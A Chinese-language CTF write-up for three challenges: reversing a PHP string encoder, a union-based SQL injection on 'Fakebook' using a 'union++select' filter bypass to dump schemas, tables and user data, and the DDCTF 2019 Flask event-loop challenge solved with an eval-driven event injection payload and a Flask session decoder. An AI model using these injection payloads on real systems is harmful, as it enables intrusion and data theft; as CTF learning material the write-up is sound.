攻防世界web2、ddctf_2019_homebrew_event_loop、 [网鼎杯 2018]Fakebook

web2

进入环境得到源码

$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法，解密$miwen就是flag
*/
?>

补充知识点

strrev#反转字符串
substr#返回字符串的子串
ord#返回一个字母的ASCII码值
chr#从指定的ascii码值返回字符
str_rot13()#一种编码解码函数

我们写程序将这个算法逆向推出

    $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
    $miwen=base64_decode(strrev(str_rot13($miwen)));
    $m=$miwen;

    for($i=0;$i<strlen($m);$i++){
        $_c=substr($m,$i,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    echo strrev($_);
?>

获得flag

[网鼎杯 2018]Fakebook

进入环境一个登录界面尝试使用万能密码直接登录，不行还是去注册一个账号再说

点击用户名进去发现一个疑似注入点的地方

我们尝试3-2得到回显几乎确定为数字型sql注入

order by4可以by5发现不行说明有四列

尝试联合注入失败过滤了东西

经过手测发现应该是过滤了union select 而且不区分大小写，我们试试用union++select绕过

成功我们尝试爆出数据库

view.php?no=-1%20union++select%201,group_concat(schema_name),3,4%20from%20information_schema.schemata#

估计有价值的东西就在fakebook这个数据库中我们继续深入查表

view.php?no=-1%20union++select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27#

接下来我们继续查字段

view.php?no=-1%20union++select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27#

查字段值

view.php?no=-1%20union++select%201,group_concat(data),3,4%20from%20fakebook.users#

发现查出来的内容为反序列化的内容

这就有点烦了，我到这里暂时没有思路，只能尝试去扫一下目录

发现flag.php我尝试一下能不能使用load_file将他读出来

ddctf_2019_homebrew_event_loop

进入环境每个页面浏览一下

最上面说我有多少个钻石，多少积分

点击Go-to e-shop，就可以使用一个积分买一个钻石，原来做的这种类型的题目都是抓包修改余额但这题有点不一样

最上面有个view source code估计是源码我们去看看

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. 
'
                resp += 'Go back to index.html
'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.
'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += 'View source code
'
        html += 'Go to e-shop
'
        html += 'Reset
'
    elif page == 'shop':
        html += 'Buy a diamond (1 point)
'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.
'
    html += 'Go back to index.html
'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += 'Download this .py file
'
            html += 'Go back to index.html
'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&').replace('\t', ' '*4).replace(
                    ' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '
')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy
'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) 
'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

这里execute_event_loop起到路由功能。对URL中参数进行分割等。然后执行对应的函数。

我们再去看一下获得flag的位置

def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')

如果session[‘num_items’]>=5那么就执行trigger_event,我们再去看一下trigger_event是干什么的

def trigger_event(event):
    session['log'].append(event)
    #trigger_event('func:show_flag;'+FLAG())
    #func:show_flag;flag{********}
    #将返回结果写入session中，flask采用的是jwt所以可以解密
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

将要执行的函数和参数放入request队列中。然后依次执行

也就是说。我们要满足session[num_items]=5。继续看num_items在哪里可以加

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy
'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])

以buy_handler(1)这样购买。然后num_item就会+1,会把func:consume_point;num_items传入队列执行执行的是consume_point_function(num_items)

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume

作用是判断session中的points是否小于我们想要购买的数量。如果小于。那么就再减掉
就是。我们购买5个flag。但是。只有3个金币。它会先购买5个。然后判断钱是不是够。不够就再减去
OK。现在大致思路就搞懂了。execute_event_loop函数。接收输入。决定执行什么函数。
执行函数时。会把函数加入队列。然后再从队列中取出按顺序执行
如果我们直接调用buy_flag(5)。先将buy_flag(5)执行。然后再执行判断。如果钱不够就会减掉。

我们再来仔细看看execute_event_loop函数处理路由的过程

action(函数名)是第一个冒号后面的值。然后截取出来的字符串。再截取分号前面的值

参数是取函数名+分号后面的值。用#来分割。作为参数，思路如下，我们重复写就能构造一个参数。然后带入eval执行

构造payload

?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

应该flag已经写入session了我们抓个包然后解密即可

解密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

解密下面这串字符

即可获得flag

python3 jiemi.py ".eJyNjU8LgjAchr9K_M4e5kREwUtQVjQlqDYXEZr9d0tYpi387nmJCDx4e-F5eN435PcTeJvNGwYpeBDTECXULSMxMw9L9YLG6Ca6i2R5NnZFGoxlVPn-z4Bma3wfuFyXsS6uKbZ1Rs2cWcNnQm0U6anf0ZS84GzvtMaNs5Pfr0R6lv5DOglci2GuYrp3uKjP3FI6uy5qpkNMsI2YHlVkMjzGK_vWemSxDucMk2qJVc0Z6nkKshS7y-MgFHjIgOJ-kY92Ws0H4UZ8Qw.YdZ5DQ.SWVYOdGtO4vqrWSe4v7GytXqMDU"

运行脚本获得flag，这题大概懂了但有些细节还是有点不明白后续再看看